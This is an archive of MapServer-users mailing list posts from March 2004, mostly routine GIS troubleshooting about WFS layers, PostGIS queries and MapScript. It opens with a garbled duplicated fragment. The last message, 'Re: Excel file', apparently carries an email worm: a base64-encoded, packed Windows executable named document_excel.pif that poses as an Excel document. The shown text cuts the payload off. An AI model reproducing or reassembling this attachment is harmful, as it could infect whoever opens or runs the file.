eedd32eaaae2175d51230f211eb9dc9b.tmp.gml (MapServer 4.1 nightly build) (In MapServer 4.0.1, there is http___localhost_8080_geoserver_wfs_version_1_0_0_request_GetFeature_typename_ bi_REQUEST_GetFeature_BBOX_3520125_233879_5719007_333736_3539269_014796_5738651_006564.tmp.gml) Here is the part of content of the .gml 3540100,5729300 3540100,5733400 3544600,5733400 3544600,5729300 3542800,5731500 --------------080803070702080501070803 Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: 7bit I want to use MapServer as a WFS client, so I compiled with the option --with-wfsclient.
But there is nothing in the image area. Is there something wrong?
Any sugesstion will be appreciated.

Computer Environment: Linux SuSE 8.2, Mozilla 1.6, MapServer 4.0.1 (or nightly build),

The output of the mapserv -v is
MapServer version 4.0.1 OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP SUPPORTS=PROJ SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER SUPPORTS=WMS_CLIENT SUPPORTS=WFS_SERVER SUPPORTS=WFS_CLIENT INPUT=EPPL7 INPUT=JPEG INPUT=POSTGIS INPUT=OGR INPUT=GDAL INPUT=SHAPEFILE

I added the following lines to  .map file
LAYER
    NAME "wfslayer"
    TYPE POINT
    CONNECTIONTYPE WFS
    CONNECTION  "http://localhost:8080/geoserver/wfs?version=1.0.0&request=GetFeature&typename=bi"
    STATUS ON
    #PROJECTION
    #     "proj=utm"
    #     "ellps=WGS84"
    #     "zone=32"
    #     "north"
    #     "no_defs"
     #  OR:
     #  "init=epsg:26915"
   # END
    PROJECTION
      "init=epsg:32632"
    END
    METADATA
      "wfs_connectiontimeout" "60"              # Default is 30 seconds
      "wfs_latlonboundingbox" "-75 45 -70 50"   # Area covered by this layer
    END
    CLASS
      SYMBOL 'circle'
      COLOR 200 0 0
    END
END

In the tmp directory, I found  there is a file named
 eedd32eaaae2175d51230f211eb9dc9b.tmp.gml (MapServer 4.1 nightly build)
(In MapServer 4.0.1, there is
http___localhost_8080_geoserver_wfs_version_1_0_0_request_GetFeature_typename_
bi_REQUEST_GetFeature_BBOX_3520125_233879_5719007_333736_3539269_014796_5738651_006564.tmp.gml)

Here is the part of  content of the .gml
<?xml version="1.0" encoding="UTF-8"?>
<wfs:FeatureCollection xmlns:wfs="http://www.opengis.net/wfs" xmlns:topp="http:/
/localhost:8080/geoserver/" xmlns:gml="http://www.opengis.net/gml" xmlns:xsi="ht
tp://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://localhost:80
80/geoserver/ http://localhost:8080/geoserver/wfs/DescribeFeatureType?typeName=b
i http://www.opengis.net/wfs http://localhost:8080/geoserver/data/capabilities/w
fs/1.0.0/WFS-basic.xsd">
  <gml:boundedBy>
    <gml:Box srsName="http://www.opengis.net/gml/srs/epsg.xml#27354">
      <gml:coordinates decimal="." cs="," ts=" ">3540100,5729300 3540100,5733400
 3544600,5733400 3544600,5729300</gml:coordinates>
    </gml:Box>
  </gml:boundedBy>
  <gml:featureMember>
    <topp:bi fid="bi.1">
      <topp:the_geom>
        <gml:Point srsName="http://www.opengis.net/gml/srs/epsg.xml#27354">
          <gml:coordinates decimal="." cs="," ts=" ">3542800,5731500</gml:coordi
nates>
        </gml:Point>
      </topp:the_geom>



--------------080803070702080501070803-- From dmorissette at dmsolutions.ca Mon Mar 15 07:33:44 2004 From: dmorissette at dmsolutions.ca (Daniel Morissette) Date: Mon, 15 Mar 2004 10:33:44 -0500 Subject: [Mapserver-users] NQUERY Internal Server Error In-Reply-To: <5B025B1F39D6D4119F5700508BEEEC66F949E4@srsofaioi4546.ktso.ch> References: <5B025B1F39D6D4119F5700508BEEEC66F949E4@srsofaioi4546.ktso.ch> Message-ID: <4055CCD8.9060204@dmsolutions.ca> That's possibly the same as bug 569: http://mapserver.gis.umn.edu/bugs/show_bug.cgi?id=569 The workaround until it is fixed would be to move the TEMPLATE from the layer level to the class level. Daniel D?ster Horst wrote: > I'm a little bit confused about a query problem I'm faced with. Today I did > the upgrade from MS 3.6.7 to MS 4.0.1. I made all the necessary migration > steps (I hope). NQUERY with the most layers work fine, but one layer > produces an "Internal Server Error". Apache error_log says "Premature End of > Header". After some modifications of the concerned layer I found out a > strange fact. Take a look at the attached Mapfile snippet. > > Some layer information: > The underlaying data are stored in a Postgres-7.2.4/PostGIS-0.8.1 DB with > 4500 recs. > The values of the attribute o_art are between 100 and 41500. > > with > DATA "wkb_geometry from (select oid,* from arp_ripl_poly where o_art >= 1000 > and o_art < 30412) as foo usinng SRID=-1" > NQUERY works > > with > DATA "wkb_geometry from (select oid,* from arp_ripl_poly where o_art >= 1000 > and o_art < 30413) as foo usinng SRID=-1" > NQUERY does not work -> Internal Server Error > > with > DATA "wkb_geometry from arp_ripl_poly" > NQUERY does not work -> Internal Server Error > > > LAYER > NAME basdat #Grundnutzung#Legende# > TYPE Polygon > STATUS ON > TOLERANCE 10 > MAXSCALE 80000 > DATA "wkb_geometry from (select oid,* from arp_ripl_poly where o_art >= > 1000 and o_art < 30412) as foo usinng SRID=-1" > CONNECTIONTYPE POSTGIS > CONNECTION "dbname=xxx host=xxx user=xxx" > TEMPLATE "qry_tpl.html" > CLASS > EXPRESSION ([o_art]=5000) > NAME "
- dem Landwirtschaftsgebiet > ?berlagert
" > COLOR 255 255 0 > OUTLINECOLOR 0 0 0 > SYMBOL "simple-line" > END # CLASS > END > > I would be appreciative about any hint. > > With best regards > > Dr. Horst D?ster > GIS-Koordinator > > Amt f?r Geoinformation > Abteilung SO!GIS Koordination > Werkhofstr. 65 > 4509 Solothurn > > Tel.: 032 627 25 32 > Fax: 032 627 22 14 > > horst.duester at bd.so.ch > www.sogis.so.ch > > From dmorissette at dmsolutions.ca Mon Mar 15 07:52:15 2004 From: dmorissette at dmsolutions.ca (Daniel Morissette) Date: Mon, 15 Mar 2004 10:52:15 -0500 Subject: AW: [Mapserver-users] NQUERY Internal Server Error In-Reply-To: <5B025B1F39D6D4119F5700508BEEEC66F949E6@srsofaioi4546.ktso.ch> References: <5B025B1F39D6D4119F5700508BEEEC66F949E6@srsofaioi4546.ktso.ch> Message-ID: <4055D12F.4010105@dmsolutions.ca> D?ster Horst wrote: > Daniel > > Thank you for your hint. Your workaround seems to work. Is there any time > line when I can expect a fixed bug?? I is a little bit to hard to change > all my hundreds of layers. > No formal timeline, but the sooner the better... As you may see from the discussions in the bug report, setting TEMPLATE at the layer level may not produce the behavior that you expected anyway. i.e. by setting TEMPLATE at the layer level then the class expressions are ignored and all shapes from the layer are included in the query. Is this really what you want? Daniel -- ------------------------------------------------------------ Daniel Morissette dmorissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From vinko at cprsig.cl Mon Mar 15 08:02:11 2004 From: vinko at cprsig.cl (Vinko Vrsalovic) Date: Mon, 15 Mar 2004 12:02:11 -0400 Subject: [Mapserver-users] PHP/Mapscript -- Help doing queries In-Reply-To: References: Message-ID: <20040315160211.GA15605@landsat.cprsig.cl> This snippet gives you an array ($result) with the shapes found for each layer. >From here you should be able to add what you need, for instance, through $lyr->data and $cmo->shapeindex... @$map->queryByRect($pt); for ($i=0;$i<$map->numlayers;$i++) { @$lyr = $map->getLayer($i); if ($lyr->type == MS_LAYER_POLYGON || $lyr->type == MS_LAYER_POINT || $lyr->type == MS_LAYER_LINE) { $lyr->open(); for ($j=0;$j<$lyr->getNumResults();$j++) { $cmo = $lyr->getResult($j); $shp = $lyr->getShape($cmo->tileindex,$cmo->shapeindex); $result[$lyr->name][$j] = $shp; } $lyr->close(); } } On Sun, Mar 14, 2004 at 09:49:16AM -0500, Ed Martin wrote: > this is my first time doing queries with mapscript and i'm having some > problems, first i can't find any way that i can just put the shape > indexes of the results into an array along with the NAME value of the > dbf file, so since i can't do that i decided i would try to use a > template and then maybe i'll read the results from the template and put > into an array, but i can't get the template working, i get no errors at > all but it returns nothing, not even the static information in the > template, so i changed the template file to the php file i was working > on, and it worked but i can't use the php file as template, and the two > files have the same permissions and are in the same folder > > so how can i get the templates working or preferably skip the template > and put the info i need into an array, please help > > here is the template i'm trying to use > > > > [NAME] > > > > here is the php that i'm using > > dl("php_mapscript.so"); > $map = ms_newMapObj("map/map.map"); > //zoom/pan the > $extent_to_set = explode(" ",$_SESSION['extent_old']); > $map->setextent($extent_to_set[0],$extent_to_set[1], > $extent_to_set[2],$extent_to_set[3]); > //calculate the coords > $x_click = > ($_POST['mapa_x']/$map->width*($extent_to_set[2]- > $extent_to_set[0]))+$extent_to_set[0]; > $y_click = > ($_POST['mapa_y']/$map->height*($extent_to_set[3]- > $extent_to_set[1]))+$extent_to_set[1]; > $cities_layer = $map->getLayerByName('Cities'); > $point_obj = ms_newPointObj(); > $point_obj->setXY($x_click,$y_click); > $query_tf = > @$cities_layer->queryByPoint($point_obj,MS_MULTIPLE,-1); > if ($query_tf == MS_SUCCESS){ > echo 'Query worked
'; > echo $cities_layer->getNumResults().' places found'; > $query = $map->processquerytemplate('',FALSE); > echo "$query
"; > } else { > echo 'Query Failed'; > } > > and here is a bit of the map file > > LAYER > NAME "Cities" > TYPE POINT > STATUS default > DATA > "/usr/local/apache/htdocs/adsbytown/site/mapserver/map/data/ci10de03" > LABELMAXSCALE 1025400 > LABELITEM "NAME" > MAXSCALE 4101800 > LABELCACHE on > TOLERANCE 25 > TOLERANCEUNITS miles > METADATA > "title" "Title" > "author" "Me!" > END > CLASS > TEMPLATE > /usr/local/apache/htdocs/adsbytown/site/mapserver/query.tpl > #php file i used was > /usr/local/apache/htdocs/adsbytown/site/mapserver/index.phtml > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users -- Vinko Vrsalovic http://www.cprsig.cl From assefa at dmsolutions.ca Mon Mar 15 08:10:50 2004 From: assefa at dmsolutions.ca (Yewondwossen Assefa) Date: Mon, 15 Mar 2004 11:10:50 -0500 Subject: [Mapserver-users] WMS styles In-Reply-To: <14511.212.238.227.182.1079344549.squirrel@webmail.xs4all.nl> References: <14511.212.238.227.182.1079344549.squirrel@webmail.xs4all.nl> Message-ID: <4055D58A.6090605@dmsolutions.ca> Bart, There was a discussion on this issue (Named Styles) at the beggining of the project that lead to the SLD implication. We discussed internally a couple of ideas where we would introduce a level in the map architecture that allows the grouping classes. I was supposed to push this discussion further with the mapserver community but did not due to limitation in time. So the quick ansswer is : I would like to see this happning but we do not have any plan for it in the near future. Later, bartvde at xs4all.nl wrote: > Hi list, > > now that SLD is being implemented for Mapserver 4.2, will there also be > support for Named Styles using the &styles= parameter of the standard WMS > protocol? > > I.e. will we be able to define styles at the server-side using a > collection of CLASS objects (or using an SLD document)? For which we can > provide names? > > Or will the &SLD= or &SLD_BODY= be the only way to do this (client-side > driven)? > > Best regards, > Bart > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > -- ---------------------------------------------------------------- Assefa Yewondwossen Software Analyst Email: assefa at dmsolutions.ca http://www.dmsolutions.ca/ Phone: (613) 565-5056 (ext 14) Fax: (613) 565-0925 ---------------------------------------------------------------- From bergeron at zedxinc.com Mon Mar 15 09:32:45 2004 From: bergeron at zedxinc.com (Nick Petersen-Bergeron) Date: Mon, 15 Mar 2004 12:32:45 -0500 Subject: [Mapserver-users] postgis order by Message-ID: <5.1.0.14.0.20040315122725.02d8c150@mail.zedxinc.com> When using postgis/postgres with mapserver, is it possible to use an order by statement to determine the order in which your geometries are drawn? If I put the order by in the data portion of the layer, no errors are thrown, but the order by seems to be ignored. If I include it in the filter portion of the layer, an error is thrown and nothing is drawn. Any help would be appreciated. Nick Petersen-Bergeron Developer ZedX Inc. 369 Rolling Ridge Drive Bellefonte, PA. 16823 From dblasby at refractions.net Mon Mar 15 10:01:04 2004 From: dblasby at refractions.net (David Blasby) Date: Mon, 15 Mar 2004 10:01:04 -0800 Subject: [Mapserver-users] postgis order by In-Reply-To: <5.1.0.14.0.20040315122725.02d8c150@mail.zedxinc.com> References: <5.1.0.14.0.20040315122725.02d8c150@mail.zedxinc.com> Message-ID: <4055EF60.1050004@refractions.net> Nick Petersen-Bergeron wrote: > When using postgis/postgres with mapserver, is it possible to use an > order by statement to determine the order in which your geometries are > drawn? If I put the order by in the data portion of the layer, no > errors are thrown, but the order by seems to be ignored. If I include > it in the filter portion of the layer, an error is thrown and nothing is > drawn. Any help would be appreciated. Try something like: DATA "the_geom from (SELECT id,the_geom FROM ORDER BY ...) as foo USING UNIQUE id USING SRID=123" dave From steve.lime at dnr.state.mn.us Mon Mar 15 10:15:11 2004 From: steve.lime at dnr.state.mn.us (Steve Lime) Date: Mon, 15 Mar 2004 12:15:11 -0600 Subject: [Mapserver-users] Retrieving shape extent Message-ID: When you're in a ...MAP mode you only get the map, that's the point. However you can still get a map with in a non-map mode, but you work through a template instead. Won't that work for you? Steve >>> "Charles D. Van Dusen" 3/13/2004 11:38:59 AM >>> Greetings All, Is it possible to retrieve the extent of a shape selected whil in 'indexquerymap' mode? So far I have not been able to retrieve anything but the image of the selected shape. I need to have the extent ([shpext]) as well, but I have only been able to retrieve it in 'indexquery' mode. Any ideas Thanks Charlie _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From mh at svaj.dk Mon Mar 15 10:11:28 2004 From: mh at svaj.dk (mh at svaj.dk) Date: Mon, 15 Mar 2004 19:11:28 +0100 Subject: [Mapserver-users] Out of office autoreply Message-ID: Jeg er p? ferie indtil d. 22 marts. Mine kollegaer kan tr?ffes p? tlf. 98129300. I am on leave until Marts 22. If you have any matter of urgency please do not hesitate to call my collegues on +45 98129300 From charlie at im-design.net Mon Mar 15 11:16:03 2004 From: charlie at im-design.net (Charles D. Van Dusen) Date: Mon, 15 Mar 2004 14:16:03 -0500 Subject: [SPAM] - Re: [Mapserver-users] Retrieving shape extent - Email found in subject Message-ID: <90264B8395BF154DB2CB12B068DFFAE903AF23@westward.im-design.net> OK (understood) So, how do I get the map while in non-map mode? Does it require an extra round-trip to the server or is the image created? Im working with the 'workshop' demos (specifically the dhtml banding box demo), which I believe has its template specified as 'itasca_adds_dhtml.html'. TIA Charlie Charlie Van Dusen charlie at im-design.net -----Original Message----- From: Steve Lime [mailto:steve.lime at dnr.state.mn.us] Sent: Monday, March 15, 2004 1:15 PM To: Charles D. Van Dusen; mapserver-users at lists.gis.umn.edu Subject: [SPAM] - Re: [Mapserver-users] Retrieving shape extent - Email found in subject When you're in a ...MAP mode you only get the map, that's the point. However you can still get a map with in a non-map mode, but you work through a template instead. Won't that work for you? Steve >>> "Charles D. Van Dusen" 3/13/2004 11:38:59 AM >>> Greetings All, Is it possible to retrieve the extent of a shape selected whil in 'indexquerymap' mode? So far I have not been able to retrieve anything but the image of the selected shape. I need to have the extent ([shpext]) as well, but I have only been able to retrieve it in 'indexquery' mode. Any ideas Thanks Charlie _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From bergeron at zedxinc.com Mon Mar 15 11:20:39 2004 From: bergeron at zedxinc.com (Nick Petersen-Bergeron) Date: Mon, 15 Mar 2004 14:20:39 -0500 Subject: [Mapserver-users] postgis order by In-Reply-To: <4055EF60.1050004@refractions.net> References: <5.1.0.14.0.20040315122725.02d8c150@mail.zedxinc.com> <5.1.0.14.0.20040315122725.02d8c150@mail.zedxinc.com> Message-ID: <5.1.0.14.0.20040315142016.02d834d0@mail.zedxinc.com> The order by seems to be ignored doing this. At 10:01 AM 3/15/2004 -0800, David Blasby wrote: >Nick Petersen-Bergeron wrote: > >>When using postgis/postgres with mapserver, is it possible to use an >>order by statement to determine the order in which your geometries are >>drawn? If I put the order by in the data portion of the layer, no errors >>are thrown, but the order by seems to be ignored. If I include it in the >>filter portion of the layer, an error is thrown and nothing is >>drawn. Any help would be appreciated. > >Try something like: > >DATA "the_geom from (SELECT id,the_geom FROM
ORDER BY ...) as foo >USING UNIQUE id USING SRID=123" > >dave Nick Petersen-Bergeron Developer ZedX Inc. 369 Rolling Ridge Drive Bellefonte, PA. 16823 From steve.lime at dnr.state.mn.us Mon Mar 15 11:49:18 2004 From: steve.lime at dnr.state.mn.us (Steve Lime) Date: Mon, 15 Mar 2004 13:49:18 -0600 Subject: [SPAM] - Re: [Mapserver-users] Retrieving shape extent - Email found in subject Message-ID: Assuming you're using a query map you'd just use the [img] tag to get at the image. No extra trip necessary. You can also build images based on query results independent of the query map. Steve >>> "Charles D. Van Dusen" 3/15/2004 1:16:03 PM >>> OK (understood) So, how do I get the map while in non-map mode? Does it require an extra round-trip to the server or is the image created? Im working with the 'workshop' demos (specifically the dhtml banding box demo), which I believe has its template specified as 'itasca_adds_dhtml.html'. TIA Charlie Charlie Van Dusen charlie at im-design.net -----Original Message----- From: Steve Lime [mailto:steve.lime at dnr.state.mn.us] Sent: Monday, March 15, 2004 1:15 PM To: Charles D. Van Dusen; mapserver-users at lists.gis.umn.edu Subject: [SPAM] - Re: [Mapserver-users] Retrieving shape extent - Email found in subject When you're in a ...MAP mode you only get the map, that's the point. However you can still get a map with in a non-map mode, but you work through a template instead. Won't that work for you? Steve >>> "Charles D. Van Dusen" 3/13/2004 11:38:59 AM >>> Greetings All, Is it possible to retrieve the extent of a shape selected whil in 'indexquerymap' mode? So far I have not been able to retrieve anything but the image of the selected shape. I need to have the extent ([shpext]) as well, but I have only been able to retrieve it in 'indexquery' mode. Any ideas Thanks Charlie _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From david.mitchell at telogis.com Mon Mar 15 12:07:21 2004 From: david.mitchell at telogis.com (David Mitchell) Date: Tue, 16 Mar 2004 09:07:21 +1300 Subject: [Mapserver-users] postgis order by In-Reply-To: <5.1.0.14.0.20040315142016.02d834d0@mail.zedxinc.com> References: <5.1.0.14.0.20040315122725.02d8c150@mail.zedxinc.com> <5.1.0.14.0.20040315122725.02d8c150@mail.zedxinc.com> <5.1.0.14.0.20040315142016.02d834d0@mail.zedxinc.com> Message-ID: <40560CF9.3080905@telogis.com> I use order by in my mapfiles, I use it like so: DATA "the_geom from (SELECT * FROM
ORDER BY ...) as foo USING UNIQUE id USING SRID=-1" This works fine for me. What version of mapserver are you using? I use mapserver 4.0.1 on linux David Nick Petersen-Bergeron wrote: > The order by seems to be ignored doing this. > > > At 10:01 AM 3/15/2004 -0800, David Blasby wrote: > >> Nick Petersen-Bergeron wrote:Nick Petersen-Bergeron >> >>> When using postgis/postgres with mapserver, is it possible to use an >>> order by statement to determine the order in which your geometries >>> are drawn? If I put the order by in the data portion of the layer, >>> no errors are thrown, but the order by seems to be ignored. If I >>> include it in the filter portion of the layer, an error is thrown and >>> nothing is drawn. Any help would be appreciated. >> >> >> Try something like: >> >> DATA "the_geom from (SELECT id,the_geom FROM
ORDER BY ...) as >> foo USING UNIQUE id USING SRID=123" >> >> dave > > > Nick Petersen-Bergeron > Developer > > ZedX Inc. > 369 Rolling Ridge Drive > Bellefonte, PA. 16823 > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > -- David Mitchell Software Engineer Telogis NOTICE: This message (including any attachments) contains CONFIDENTIAL INFORMATION intended for a specific individual and purpose, and is protected by law. If you are not the intended recipient, you should delete this message and are hereby notified that any disclosure, copying, or distribution of this message, or the taking of any action based on it, is strictly prohibited. From sd at dil.in Mon Mar 15 12:09:44 2004 From: sd at dil.in (Saurabh Data) Date: Mon, 15 Mar 2004 20:09:44 +0000 Subject: [Mapserver-users] mapserver error Message-ID: hello. I have successfully compiled and make the executable mapserv on Unix, but when I try to run ./mapserv it gives the following error : ./mapserv: error while loading shared libraries: libgd.so.2: cannot open shared object file: No such file or directory any ideas ? cheers Sam ___________________________________________________________________ Saurabh Data School of Computing University of Leeds Leeds LS2 9JT U.K. one who seeketh , will findeth and all door shall open - james Allen ___________________________________________________________________ _________________________________________________________________ It's fast, it's easy and it's free. Get MSN Messenger today! http://www.msn.co.uk/messenger From mapgisnewbies at yahoo.com Mon Mar 15 12:31:53 2004 From: mapgisnewbies at yahoo.com (we wei) Date: Mon, 15 Mar 2004 12:31:53 -0800 (PST) Subject: [Mapserver-users] WFS layers Message-ID: <20040315203153.30795.qmail@web60006.mail.yahoo.com> Hi all, I have a question about WFS. I have already compiled mapserver with WFS server and client. And the mapserver is the latest version that I got from the nightly built. And I tested this setting running WFS service thru a browser as follow: http://localhost/cgi-bin/mapserv_wfs?map=/opt/mapfiles/wfs.map&service =WFS&version=1.0.0&request=getfeature&typename=mylayer And it works okay. I can successfully got all the features in GML formats. However, when I tried to make add this WFS service as the data sources in a layer of my demo application. It does not work. It returns to me nothing because of the error occured. And I got a gml.tmp file with the follow result: ?xml version='1.0' encoding="ISO-8859-1" ?> inapplicable It seems to me that I could this gml file doesn't not contain any features so that the image of the layer couldn't be drawns. I don't know if I am right but I suspect that the resultcache is empty so that it couldn't output anything to this GML file. I did put "Dump true" in my mapfile. And I put ConnectionType WFS and Connection "http://localhost/cgi-bin/mapserv_wfs?map=/opt/mapfiles/wfs.map&service =WFS&version=1.0.0&request=getfeature&typename=mylayer" in my mapfile too. I just wonder if anyone could give me some hints on this problem ? I am new to this GIS stuff. Any help would be greatly appreciated :) Thanks in advance! __________________________________ Do you Yahoo!? Yahoo! Mail - More reliable, more storage, less spam http://mail.yahoo.com From gayathri at ou.edu Mon Mar 15 13:06:48 2004 From: gayathri at ou.edu (Swaminathan, Gayathri) Date: Mon, 15 Mar 2004 15:06:48 -0600 Subject: [Mapserver-users] mapserver error Message-ID: <3FC4483968B5A048BBD9F3387EBFF5C05C709F@XMAIL1.sooner.net.ou.edu> Hi: HTH http://mapserver.gis.umn.edu/data2/wilma/mapserver-users/0402/msg00301.h tml Thanks Gayathri > -----Original Message----- > From: mapserver-users-admin at lists.gis.umn.edu > [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of > Saurabh Data > Sent: Monday, March 15, 2004 2:10 PM > To: mapserver-users at lists.gis.umn.edu > Subject: [Mapserver-users] mapserver error > > > hello. > > I have successfully compiled and make the executable mapserv > on Unix, but > when I try to run ./mapserv it gives the following error : > > ./mapserv: error while loading shared libraries: libgd.so.2: > cannot open > shared object file: No such file or directory > > any ideas ? > > cheers > > Sam > > > > ___________________________________________________________________ > > Saurabh Data > School of Computing > University of Leeds > Leeds LS2 9JT > U.K. > > one who seeketh , will findeth and all door shall open - > james Allen > ___________________________________________________________________ > > _________________________________________________________________ > It's fast, it's easy and it's free. Get MSN Messenger today! > http://www.msn.co.uk/messenger > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/maps> erver-users > From lfilak at medinaco.org Mon Mar 15 13:27:19 2004 From: lfilak at medinaco.org (Lowell Filak) Date: Mon, 15 Mar 2004 16:27:19 -0500 Subject: [Mapserver-users] (no subject) Message-ID: <20040315212716.32D121A6599@mail.medinaco.org> Hopefully this can help: http://mapserver.gis.umn.edu/data2/wilma/mapserver-users/0311/msg00544.html Lowell The following message was sent by gheysen.t at skynet.be on Mon, 15 Mar 2004 09:45:05 +0100. > Hello, > > I am student in Belgium and I make a report on webmapping. I must compare the various existing solutions. I found on Internet ( http://www.geoplace.com/gr/webmapping/Final%20Web%20Charts.pdf ) a table comparing various solutions but MapServer is not there. Could somebody help me to supplement this table with MapServer ? > > Cordially > > Gheysen Thibaut > gheysen.t at fsagx.ac.be From lfilak at medinaco.org Mon Mar 15 13:28:44 2004 From: lfilak at medinaco.org (Lowell Filak) Date: Mon, 15 Mar 2004 16:28:44 -0500 Subject: [Mapserver-users] Re: mapscript Message-ID: <20040315212840.C6C6F1A6599@mail.medinaco.org> This sounds familiar but I'm uncertain so I am forwarding the question to the list for a professional opinion(s). Lowell The following message was sent by =?iso-8859-1?q?divya=20ganjoo?= on Mon, 15 Mar 2004 06:51:36 +0000 (GMT). > Dear Mr. Lowell Filak, > I am new to mapscript and i am facing a problem when i run my project.Kindly help me out. > I am using PHP script. > When i run my project i get the following error: > Warning: MapServer Error in msSaveImage(): (c:\inetpub\wwwroot\tmp\107932773222001.gif) > in c:\inetpub\wwwroot\pune1\gmap\htdocs\gmap\htdocs\map.php3 on line 781 > Fatal error: Failed writing image to c:\inetpub\wwwroot\tmp\107932773222001.gif > in c:\inetpub\wwwroot\pune1\gmap\htdocs\gmap\htdocs\map.php3 on line 781 > > The line no. 781 in map.php3 goes like this: > $url = $img->saveWebImage($gAppletImgFmt, 0, 0, -1); > Can u tell me why am i facing this kinda error.Please help me out. > > Thankyou and have a nice day, > Kindly reply soon. > > Divya. > dg_113 at yahoo.co.in > divyaganjoo at hotmail.com > > Yahoo! India Insurance Special: Be informed on the best policies, services, tools and more. From ed at topozone.com Mon Mar 15 17:09:20 2004 From: ed at topozone.com (ed at topozone.com) Date: Tue, 16 Mar 2004 12:09:20 +1100 Subject: [Mapserver-users] Re: Excel file Message-ID: <200403160109.i2G19jEe020842@lists.gis.umn.edu> This is a multi-part message in MIME format. ------=_NextPart_000_0010_0000710F.000046EF Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit Your file is attached. ------=_NextPart_000_0010_0000710F.000046EF Content-Type: application/octet-stream; name="document_excel.pif" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="document_excel.pif" TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAuAAAAKvnXsbvhjCV74Ywle+GMJVsmj6V44YwlQeZOpX2hjCV74YxlbiGMJVsjm2V 4oYwlQeZO5XqhjCVV4A2le6GMJVSaWNo74YwlQAAAAAAAAAAQ29tcHJlc3NlZCBieSBQZXRp dGUgKGMpMTk5OSBJYW4gTHVjay4AAFBFAABMAQMA6ZtBQAAAAAAAAAAA4AAPAQsBBgAASAAA APAAAAAAAABCcAEAABAAAABgAAAAAEAAABAAAAACAAAEAAAAAAAAAAQAAAAAAAAAAIABAAAE AAAAAAAAAgAAAAAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAA/HEBAK8BAAAAYAEA EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA LnBldGl0ZQAAUAEAABAAAAA8AAAACAAAAAAAAAAAAAAAAAAAYAAA4AAAAAAAAAAAABAAAABg AQAQAAAAAEQAAAAAAAAAAAAAAAAAAEAAAEAAAAAAAAAAAKsDAAAAcAEAAAQAAAAEAAAAAAAA AAAAAAAAAABgAADiAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIgC AAAjWZWUi0QkBIPEKo2QNAAAAIPECGoQi9hmBS0AUFJqAIsb/xNq//9TDEVSUk9SIQBDb3Jy dXB0IERhdGEhALgAcEEAaNFrQABk/zUAAAAAZIklAAAAAGacYFBoAABAAIs8JIswZoHHgAeN dAYIiTiLXhBQVmoCaIAIAABXahNqBlZqBGiACAAAV//Tg+4IWfOlWWaDx2iBxsIAAADzpf/T WI2QuAEAAIsKD7rxH3MWiwQk/Yvwi/gDcgQDegjzpYPCDPzr4oPCEIta9IXbdNiLBCSLevgD +FKNNAHrF1hYWFp0xOkc////AtJ1B4oWg+7/EtLDgfsAAAEAcw5oYMD//2hg/P//tgXrIoH7 AAAEAHMOaICB//9ogPn//7YH6wxoAIP//2gA+///tghqADLSS6QzyYP7AH6k6Kr///9yF6Qw X/9L6+1B6Jv///8TyeiU////cvLDM+3o6f///4PpA3MGiwQkQesji8EPts7odf///xPASXX2 g/D/O0QkBIPVATtEJAiD1QCJBCToV////xPJ6FD///8TyXUI6Kb///+DwQIDzVYr2Y00OPOk XuuDLovAuA4AgNxKAAD8XwEAICUBAKlGAAAAEAAArxIAAN5PAQAmDwAAAGAAALQBAACVVwEA 5BIAAABwAAA4ugEAAAAAAMYTAAAAAAAAAAAAAAAAAABicwEAiHIBAAAAAAAAAAAAAAAAAG1z 